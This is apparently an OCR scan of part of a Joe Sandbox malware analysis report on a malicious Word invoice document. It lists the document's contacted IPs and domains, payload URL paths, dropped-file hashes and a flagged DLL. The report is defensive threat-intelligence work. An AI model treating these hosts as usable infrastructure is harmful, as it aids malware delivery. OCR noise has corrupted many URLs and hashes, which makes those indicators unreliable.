https://www.metadefender.com/#!/results/file/bzIxMDEyNE5ZTjhvYVNtZ2ZBc3NDY2dHVDk/regular/analysis

Source Detection Scanner Label Link Download

Domains

Source Detection Scanner Label Link
ofert-al.com 4% Virustotal Browse
micronews.eu 5% Virustotal Browse
URLs

Source Detection Scanner Label Link

[ e = B 1 5 ) I =N
R BT T e P GG T T

http:ff 0% Avira URL Cloud safe
190.55.186.229/zu0s8fp/p0ci9j50w974/cj5r0kfb71n/m8g30yulkjfggim2u/66n2ab/ipuz3m08m8x037v8/

hitp://https://micronews.eu/2021/01/24/hello-world/#comment-1 0% Avira URL Cloud safe
o vssesnegeawiEnat o AweURCod mavae
hitp:/focsp.sectigo.com0O 0% URL Reputation safe
hitp:/focsp.sectigo.com0O 0% URL Reputation safe
hitp:/focsp.sectigo.com0O 0% URL Reputation safe
hitp://ofert-al.com 0% Avira URL Cloud safe
hitp://https://micronews.eu/feed/ 0% Avira URL Cloud safe
hitp://micronews.eu/wp-content/themes/twentytwentyone/assets/js/responsive-embeds.js?ver=1.1 0% Avira URL Cloud safe
hitp://windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://https://micronews.eu/ 0% Avira URL Cloud safe
hitp:/icrl.sectigo.com/SectigopRSATimeStampingCA.crlOt 0% URL Reputation safe
hitp:/icrl.sectigo.com/SectigopRSATimeStampingCA.crlOt 0% URL Reputation safe
hitp:/icrl.sectigo.com/SectigopRSATimeStampingCA.crlOt 0% URL Reputation safe
hitp://micronews.eu/wp-includes/css/dist/block-library/theme.min.css?ver=5.6 0% Avira URL Cloud safe
hitp://www.icra.org/vocabulary/. 0% URL Reputation safe
hitp://www.icra.org/vocabulary/. 0% URL Reputation safe
hitp://www.icra.org/vocabulary/. 0% URL Reputation safe
o aedgowesamOuTnelodTF S o AweURCod mavwe
hitp://https://micronews.eu/2021/01/24/hello-world/ 0% Avira URL Cloud safe
hitp://https://micronews.eu/wp-json/ 0% Avira URL Cloud safe
hitp://micronews.eu/wp-content/themes/twentytwentyone/assets/css/print.css?ver=1.1 0% Avira URL Cloud safe
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https://www.virustotal.com/gui/url/daffe4cbc1b9d82753ad526978e903e22ee167ea6dfce4d07a4a39839687c961/detection/u-daffe4cbc1b9d82753ad526978e903e22ee167ea6dfce4d07a4a39839687c961-1611529797
https://www.virustotal.com/gui/url/22fe1f81a1d9e7aa93467e79ede9c390a09891acdbf79a7330e4d52f5ed3a899/detection/u-22fe1f81a1d9e7aa93467e79ede9c390a09891acdbf79a7330e4d52f5ed3a899-1611535709
https://www.virustotal.com/gui/url/e37238769333edee0d1360890aa45c3e85a639a81ffb2eec421fa7087453c802/detection/u-e37238769333edee0d1360890aa45c3e85a639a81ffb2eec421fa7087453c802-1611529796

Source Detection Scanner Label Link

hitp://https://micronews.eu/comments/feed/ 0% Avira URL Cloud safe
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp://micronews.eu/wp-content/themes/twentytwentyone/style.css?ver=1.1 0% Avira URL Cloud safe
hitp://micronews.eu 0% Avira URL Cloud safe
hitp://micronews.eu/wp-includes/js/wp-embed.min.js?ver=5.6 0% Avira URL Cloud safe
hitp://micronews.eu/wp-includes/wiwmanifest.xml 0% Avira URL Cloud safe
hitp://micronews.eu/wp-content/themes/twentytwentyone/assets/js/polyfills.js?ver=1.1 0% Avira URL Cloud safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
T Nsiamsmodem oo BB o AwURLCed maae
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
T wsmedwedsoe RS G AmURLOed maae
hitp://micronews.eu/wp-includes/css/dist/block-library/style.min.css?ver=5.6 0% Avira URL Cloud safe

[ e R e ) I
[ e - v 0 ) I

hitp://https://micronews.eu/xmlrpc.php?rsd 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name 1P Active Malicious Antivirus Detection Reputation

Name Malicious Antivirus Detection Reputation

e S e e (T

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation

hitp:/f/www.windows.com/pctv. rundlI32.exe, 0000000A.0000000 false high
2.2138437202.0000000001D80000.
00000002.00000001.sdmp

hitp://investor.msn.com rundlI32.exe, 00000006.0000000 false high
2.2108466850.0000000001C00000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2105366443.000
0000002030000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2117339120.000000000
1C80000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2127284890.000000000223000
0.00000002.00000001.sdmp

hitp://www.msnbc.com/news/ticker.txt rundlI32.exe, 00000006.0000000 false high
2.2108466850.0000000001C00000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2105366443.000
0000002030000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2117339120.000000000
1C80000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2127284890.000000000223000
0.00000002.00000001.sdmp
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https://www.virustotal.com/gui/url/daffe4cbc1b9d82753ad526978e903e22ee167ea6dfce4d07a4a39839687c961/detection/u-daffe4cbc1b9d82753ad526978e903e22ee167ea6dfce4d07a4a39839687c961-1611529797
https://www.virustotal.com/gui/url/22fe1f81a1d9e7aa93467e79ede9c390a09891acdbf79a7330e4d52f5ed3a899/detection/u-22fe1f81a1d9e7aa93467e79ede9c390a09891acdbf79a7330e4d52f5ed3a899-1611535709
https://www.virustotal.com/gui/url/e37238769333edee0d1360890aa45c3e85a639a81ffb2eec421fa7087453c802/detection/u-e37238769333edee0d1360890aa45c3e85a639a81ffb2eec421fa7087453c802-1611529796

Name

hitp://https://micronews.eu/2021/01/24/hello-world/#comment-

1

hitp://ocsp.sectigo.com0

hitp://https://api.w.org/

hitp://https://micronews.eu/feed/

hitp://micronews.eu/wp-
content/themes/twentytwentyone/assets/js/responsive-
embeds.js?ver=1.1

hitp://iwindowsmedia.com/redir/services.asp?
WMPFriendly=true

hitp://www.hotmail.com/oe

hitp://https://micronews.eu/

hitp://services.msn.com/svcs/oe/certpage.asp?
name=%s&email=%s&&Check

hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t

hitp://micronews.eu/wp-includes/css/dist/block-
library/theme.min.css?ver=5.6

hitp://iwww.icra.org/vocabulary/.

Copyright null 2021

Source Malicious

powershell.exe, 00000005.00000 false
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2102208067.0000000003C0A00
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2108646155.0000000001DE7000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2105788606.000
0000002217000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2117476075.000000000
1E67000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2127453028.000000000241700
0.00000002.00000001.sdmp, rund
1132.exe, 0000000A.00000002.21
38586340.0000000001F67000.0000
0002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2108466850.0000000001C00000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2105366443.000
0000002030000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2117339120.000000000
1C80000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2127284890.000000000223000
0.00000002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2108646155.0000000001DE7000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2105788606.000
0000002217000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2117476075.000000000
1E67000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2127453028.000000000241700
0.00000002.00000001.sdmp, rund
1132.exe, 0000000A.00000002.21
38586340.0000000001F67000.0000
0002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2102208067.0000000003C0A00
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2108646155.0000000001DE7000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2105788606.000
0000002217000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2117476075.000000000
1E67000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2127453028.000000000241700
0.00000002.00000001.sdmp, rund
1132.exe, 0000000A.00000002.21
38586340.0000000001F67000.0000
0002.00000001.sdmp

Antivirus Detection

Avira URL Cloud: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

Reputation

unknown

unknown

high

unknown

unknown

unknown

high

unknown

high

unknown

unknown

unknown
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Name

http://
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous

hitp://https://micronews.eu/2021/01/24/hello-world/

hitp://https://wordpress.org/

hitp://https://micronews.eu/wp-json/

hitp://micronews.eu/wp-

content/themes/twentytwentyone/assets/css/print.css?ver=1.1

hitp://https://micronews.eu/comments/feed/

hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#

hitp://micronews.eu/wp-

content/themes/twentytwentyone/style.css?ver=1.1

hitp://investor.msn.com/

hitp://micronews.eu/wp-includes/js/wp-embed.min.js?ver=5.6

hitp://micronews.eu/wp-includes/wiwmanifest.xml

hitp://micronews.eu/wp-

content/themes/twentytwentyone/assets/js/polyfills.js?ver=1.1

hitp://https://sectigo.com/CPS0D

hitpiwww.%s.comPA

hitp://micronews.eu/wp-includes/css/dist/block-
library/style.min.css?ver=5.6

hitp://https://micronews.eu/xmlrpc.php?rsd

Contacted IPs

Copyright null 2021

Source

powershell.exe, 00000005.00000
002.2094837855.00000000024B000
0.00000002.00000001.sdmp, rund
1132.exe, 00000008.00000002.21
18008797.0000000002790000.0000
0002.00000001.sdmp

powershell.exe, 00000005.00000
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2102208067.0000000003C0A00
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

rundll32.exe, 00000006.0000000
2.2108466850.0000000001C00000.

00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2105366443.000

0000002030000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2117339120.000000000
1C80000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2127284890.000000000223000
0.00000002.00000001.sdmp

powershell.exe, 00000005.00000
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2102208067.0000000003C0A00
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2094837855.00000000024B000
0.00000002.00000001.sdmp, rund
1132.exe, 00000008.00000002.21
18008797.0000000002790000.0000
0002.00000001.sdmp

powershell.exe, 00000005.00000
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000
002.2102193872.0000000003BE600
0.00000004.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Reputation

high

unknown

high

unknown

unknown

unknown

unknown

unknown

high

unknown

unknown

unknown

unknown

low

unknown

unknown
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] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public

1P Domain
190.55.186.229 unknown
93.119.104.27 unknown

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

Copyright null 2021

ASN Name Malicious
TelecentroSAAR true
VIRTONO-NETWORKSRO  true

31.0.0 Red Diamond

343627

25.01.2021

08:20:35

CloudBasic

Oh 8m 24s

false

light

Invoice 6682363.doc
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

20

o O o o

e HCA enabled
e EGA enabled
e HDC enabled
e GSl enabled (VBA)
e AMSI enabled

default
Timeout
MAL
mal100.troj.evad.winDOC@32/7@2/2
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EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

08:21:39
08:21:40
08:21:54

Joe Sandbox View | Context

IPs

Match
190.55.186.229

Copyright null 2021

Type

API Interceptor
API Interceptor
API Interceptor

Associated Sample Name /| URL

e Successful, ratio: 92.3%

e Successful, ratio: 28.9% (good quality ratio 27.4%)
e Quality average: 71.2%
e Quality standard deviation: 25.7%

e Successful, ratio: 86%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

Found application associated with file extension:
.doc

Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog

Click Ok

Attach to Office via COM

Scroll down

Close Viewer

Show All

e Exclude process from analysis (whitelisted):
dllhost.exe, conhost.exe

e TCP Packets have been reduced to 100

e Execution Graph export aborted for target
powershell.exe, PID 2488 because it is empty

e Report size exceeded maximum capacity and may
have missing behavior information.

* Report size getting too big, too many
NtOpenKeyEx calls found.

* Report size getting too big, too many
NtQueryAttributesFile calls found.

* Report size getting too big, too many
NtQueryValueKey calls found.

Description
1x Sleep call for process: msg.exe modified
36x Sleep call for process: powershell.exe modified

417x Sleep call for process: rundll32.exe modified

SHA 256 Detection Link Context

Get hash malicious Browse e 190.55.18
6.229/t3u0
70voc/dhvf
siwa8/4hrl
scfgu20pt/
iroc8/mlfa
IvOpzngop/

Get hash malicious Browse e 190.55.18
6.229/i91b
srtqcuOeub
47zf/

Get hash malicious Browse e 190.55.18
6.229/jgeu/

Get hash malicious Browse e 190.55.18
6.229/mlqu
m5rvy23mcl
yw98/bxcls
xq6pyd4l/g
Iso7yy9y6j
163ww5/j94pvx/
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https://view.joesandbox.com/analysis/257671/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257671/html/none?idtype=webid
https://view.joesandbox.com/analysis/257618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257618/html/none?idtype=webid
https://view.joesandbox.com/analysis/257539/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257539/html/none?idtype=webid
https://view.joesandbox.com/analysis/257538/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257538/html/none?idtype=webid

Match

93.119.104.27

Domains

Match

micronews.eu

ASN

Match
TelecentroSAAR

VIRTONO-NETWORKSRO
JA3 Fingerprints
No context

Dropped Files

No context

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Associated Sample Name /| URL SHA 256
Get hash

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Created / dropped Files

Detection

malicious

malicious

Detection

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Link

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse

Browse

Context

190.55.18
6.229/b0sm
4wo0eycyle
nwxs3/ch9v
Xx64v/

micronews
.eu/crankshaft-
pulley-i5aio/TI
p/

Context

93.119.104.27

Context

190.55.186.229
190.55.186.229
190.55.186.229
190.55.186.229
190.55.186.229
186.19.62.249
186.19.26.230
181.45.174.122
186.19.62.249
186.19.62.249
186.23.189.192
186.19.205.93
181.44.194.254
186.19.196.93
186.23.49.11
190.55.118.192

186.19.212.93
200.125.113.60
200.125.113.60
200.125.113.60
93.119.104.27

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0EA89377-30AB-4901-9D2A-3CE504568F55}.tmp

Process: C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit): 0.05390218305374581

Encrypted: false

SSDEEP: 3:03lYdn:4Wn

MD5: 5D4D94EE7E06BBBOAF9584119797B23A

SHAL: DBB111419C704F116EFA8E72471DD83E86E49677

SHA-256: 4826C0D860AF884D3343CAB460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

SHA-512: 95F83AE84CAFCCED5SEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
Ad

Copyright null 2021

Page 18 of 54


https://view.joesandbox.com/analysis/257495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257495/html/none?idtype=webid
https://view.joesandbox.com/analysis/257618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257618/html/none?idtype=webid
https://view.joesandbox.com/analysis/257618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257618/html/none?idtype=webid
https://view.joesandbox.com/analysis/257671/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257671/html/none?idtype=webid
https://view.joesandbox.com/analysis/257618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257618/html/none?idtype=webid
https://view.joesandbox.com/analysis/257539/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257539/html/none?idtype=webid
https://view.joesandbox.com/analysis/257538/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257538/html/none?idtype=webid
https://view.joesandbox.com/analysis/257495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257495/html/none?idtype=webid
https://view.joesandbox.com/analysis/249365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249365/html/none?idtype=webid
https://view.joesandbox.com/analysis/249351/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249351/html/none?idtype=webid
https://view.joesandbox.com/analysis/246016/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246016/html/none?idtype=webid
https://view.joesandbox.com/analysis/234782/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234782/html/none?idtype=webid
https://view.joesandbox.com/analysis/234174/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234174/html/none?idtype=webid
https://view.joesandbox.com/analysis/155909/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/155909/html/none?idtype=webid
https://view.joesandbox.com/analysis/153963/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/153963/html/none?idtype=webid
https://view.joesandbox.com/analysis/142027/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/142027/html/none?idtype=webid
https://view.joesandbox.com/analysis/125532/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/125532/html/none?idtype=webid
https://view.joesandbox.com/analysis/97704/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/97704/html/none?idtype=webid
https://view.joesandbox.com/analysis/8912/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/8912/html/none?idtype=webid
https://view.joesandbox.com/analysis/8136/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/8136/html/none?idtype=webid
https://view.joesandbox.com/analysis/6260/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/6260/html/none?idtype=webid
https://view.joesandbox.com/analysis/6259/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/6259/html/none?idtype=webid
https://view.joesandbox.com/analysis/6243/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/6243/html/none?idtype=webid
https://view.joesandbox.com/analysis/257618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257618/html/none?idtype=webid

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0EA89377-30AB-4901-9D2A-3CE504568F55}.tmp

Malicious:

Preview:

false

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\invoice 6682363.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Wed Aug 26 14:08:14 2020,
atime=Mon Jan 25 15:21:36 2021, length=113152, window=hide

dropped

2078

4.555461666262037

false

48:8vCn/XTOjF709uJm0zsQh2vCn/XT0jF709uJm0zsQ/:8i/X0jF709uo00zsQh2i/XojF709uo0zn

ECAB5C2CB103C84A3A437AA33BF5B573

18D03971C7252C6C1867563E5AEC6236B07EBSD7

45010F245BFB2AE6F39F10BF93CCAOB4C82D4A3CD833419527FBE6F6B4338C0B
C5DFD7FCE217AAE2359B35E0BC38310E88E03F628DA0DFOE25C917A7A7FC300F74E01F5869A4EC428E66ECO8E7808C32568F3CD15A8265636C1A021A26B2D7¢

false

6....Us.ers..@.s.hell3.2..dll,.-.

..D.esskto.p.@.s.hell3.2.dll,.-217

2J....Ci\Users\. #......cocceeee \\284992\Use
....1SPS.XF.L8C....&m.m............ -..S.-1.-

t.1.....QK.X..Users. ..........QK.X*
Q.y..Desktop.d......QK.X.Q.y*..._=.

2.1.8.1.3....L.1....Q.y..user.8.....QK.X.Q.y*... . .
.6.9.....p.2.....9R.. .INVOIC~1.DOC..T....... Q.y.Q.y*..8.. coveelnvi0llCe0. .6.6.8.2.3.6.3...d.0.C......}.
rs.user\Desktop\Invoice 6682363.doc.*.....\.....\....\....\....\.D.e.s.k.t.o.p.\.l.Ln.v.o.i.c.e. .6.6.8.2.3.6.3...d.0.c.

.5.-.2.1.-9.6.6.7.7.1.3.1.5.-3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6............."...... X......284992.......... .

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

83

4.410628745258447

false

3:M13A9hp20LTKHAShp2mX13A9hp2v:MFA]GHAVAS
7B3630933139EFC67608D6F12518A7B5
7524A91342F5F929185282151958E85233D8A0B1
F36D41FF3ECBI9E930377EE977B4C721082A62C08A251FCBIB368109332F07A41
A1A6B20CD8C7017B81906D6C2964A3E58DECF9271A859C6BBBEABIFESSF8519EF6D9B20837A088EA813203859F50D2780DB204B6036A012F39E84CB6230B84E/

false

[doc]..Invoice 6682363.LNK=0..Invoice 6682363.LNK=0..[doc]..Invoice 6682363.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWitVy3KGcilséw7Adtin:vdsCkWthGeiwfQl
4A5DFFE330E8BBBF59615CB0C71B87BE
7B896C17F93ECFCIB69EB4FCIEADEDDIDAS50C4B
D28616DC54FDEF1FF5C5BA05A77F178B7E3304493BAF3F4407409F2C84F4F215
3AA160CB89F4D8393BCBFIFF4357FFE7AE00663F21F436D341FA4F5AD4AAEDC737092985EB4A94A694A02780597C6375D1615908906A6CEC6D7AB616791B6285C

false

.user...

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q8SLQGJ1YX7QDORWZGCl.temp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

Copyright null 2021

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
data

dropped

8016

3.585750470873221

false

96:chQCsMqUqvsqvJCwoGz8hQCsMqUqvsEHyqvICworMzkKYxHBf8R/IUVY lu:cydoGz8yFHnorMzkJf8R/lu
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C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q8SLQGJ1YX7QDORWZGCl.temp

MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

3E0B9000513979223266017B89BESC4D

440077127C2022599B0AF7610DA6017B577E694C

E3025B46B542BBF6CA3138DA7BD3F797CA5B6966136648784FBAAB5C447A0648
382F93EF91AAFAGD202DC78C0D1615C06741B7925C9A3554ADDD780D5E762E8C4A9E6ALFDO80DIE16ECBD52020A0702A1F17627852E666CADOD7EOFD88BCAE

e PLILOL
e Lea((
..Pro.grams..@.s.he.l
.WINDOW~1..R.. S

LSTARTM~L. oK
1.3.2..d.ll.,.-.2.1.7.8.2. xJu=..ACCESS~1
...W.in.d.ow.s. .P.ow.e.r.Shell..v.2.k.

C:\Users\user\Desktop\~$voice 6682363.doc

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWtVy3KGcilséw7Adtin:vdsCkWthGeiwfQl
4A5DFFE330E8BBBF59615CB0C71B87BE
7B896C17F93ECFCIB6IEB4FCIEADEDDIDAS50C4B
D28616DC54FDEF1FF5C5BA05A77F178B7E3304493BAF3F4407409F2C84F4F215
3AA160CB89F4D8393BCBFIFF4357FFE7AE00663F21F436D341FA4F5ADAAEDC737092985EB4A94A694A02780597C6375D1615908906A6CEC6D7AB616791B6285C

false

LUSBI et Alb.us............. P P Zoiiiinad X...

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

338264

4.3049217356084135

false
3072:XRq1sFAd2gQ5PmBvVNZwnnglgn2RvoXiDzAYgrO1v2F5j8eFu:BqlsFAwgwmBv3wnlgG4oAYxvU54eu
8F6DA4DA774D38AF85909BD26CDAB7B8

9AF91031F631649E79C22D5BC946BOBEAAEDF5CC
AEEE57C636BE2B48421FBFCA4BB2E2EDB474A5359FAFC03D3C5D83ADA21156FD
82241A505E05F9485217DECE995837A85C4E4C86270863A39836BEBB14725036C310215CEBFCA5776D53A0FA2D96BD2C65D28B093D08E25465F953BDFECOC3D
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 46%, Browse
e Antivirus: ReversingLabs, Detection: 82%

MZ.ooooiiiiiiei, @ .o 1..L.IThis program cannot be run in DOS mode....$....... PE.L..F. . L.2.@.cene P P
Code X N text....6. 8 Crdata.W....P....... Svereeieens @..@.dat

Static File Info

General
File type:

Entropy (8bit):

Copyright null 2021

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Subject:
Human Awesome interface XSS Electronics, Kids &
Garden Frozen Incredible Metal Chips application
hacking Baby & Health Rwanda, Author: Mara del Ca
rmen Yanes, Template: Normal.dotm, Revision Number
: 1, Name of Creating Application: Microsoft Office
Word, Create Time/Date: Fri Jan 22 14:50:00 2021,
Last Saved Time/Date: Fri Jan 22 14:51:00 2021,
